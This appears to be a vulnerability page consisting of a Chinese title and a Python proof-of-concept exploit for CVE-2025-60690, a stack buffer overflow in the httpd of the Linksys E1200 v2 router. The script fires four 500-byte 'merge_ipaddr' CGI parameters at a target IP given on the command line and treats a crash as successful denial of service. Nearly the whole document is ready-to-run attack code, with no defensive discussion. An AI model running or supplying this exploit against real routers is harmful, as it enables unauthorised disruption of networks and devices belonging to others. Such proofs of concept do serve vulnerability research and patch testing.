CVE-2025-60690 Linksys E1200 v2路由器httpd栈缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-60690 PoC - Linksys E1200 v2 Stack Buffer Overflow This PoC demonstrates the stack-based buffer overflow in get_merge_ipaddr function """ import requests import sys def exploit(target_ip, target_port=80): """ Exploit the buffer overflow vulnerability in Linksys E1200 v2 httpd The get_merge_ipaddr function concatenates 4 CGI parameters without bounds checking """ target_url = f"http://{target_ip}:{target_port}/" # Payload: 4 parameters with oversized data to overflow the fixed buffer # The buffer (a2) in get_merge_ipaddr has limited capacity # Sending combined data exceeding buffer size will cause stack overflow overflow_data = "A" * 500 # Large payload to overflow the buffer # Craft the malicious CGI parameters # Pattern: <parameter>_0, <parameter>_1, <parameter>_2, <parameter>_3 payload = { "merge_ipaddr_0": overflow_data, "merge_ipaddr_1": overflow_data, "merge_ipaddr_2": overflow_data, "merge_ipaddr_3": overflow_data } print(f"[*] Sending exploit payload to {target_url}") print(f"[*] Payload size per parameter: {len(overflow_data)} bytes") print(f"[*] Total payload size: {len(overflow_data) * 4} bytes") try: # Send the malicious HTTP request response = requests.get(target_url, params=payload, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.Timeout: print("[!] Request timed out - target may be vulnerable and crashed (DoS)") return True except requests.exceptions.ConnectionError: print("[!] Connection failed - target may be down (DoS successful)") return True except Exception as e: print(f"[!] Error: {str(e)}") return False def check_vulnerability(target_ip, target_port=80): """ Check if target is potentially vulnerable """ target_url = f"http://{target_ip}:{target_port}/" # Send normal parameters first to verify service is running normal_payload = { "merge_ipaddr_0": "192.168.1", "merge_ipaddr_1": "192.168.1", "merge_ipaddr_2": "192.168.1", "merge_ipaddr_3": "192.168.1" } try: response = requests.get(target_url, params=normal_payload, timeout=10) if response.status_code: print(f"[+] Target {target_ip} is responsive") return True except: print(f"[-] Target {target_ip} is not responding") return False return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 CVE-2025-60690.py <target_ip> [port]") print("Example: python3 CVE-2025-60690.py 192.168.1.1 80") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 print("=" * 60) print("CVE-2025-60690 - Linksys E1200 v2 Stack Buffer Overflow") print("=" * 60) if check_vulnerability(target, port): exploit(target, port) else: print("[-] Target check failed")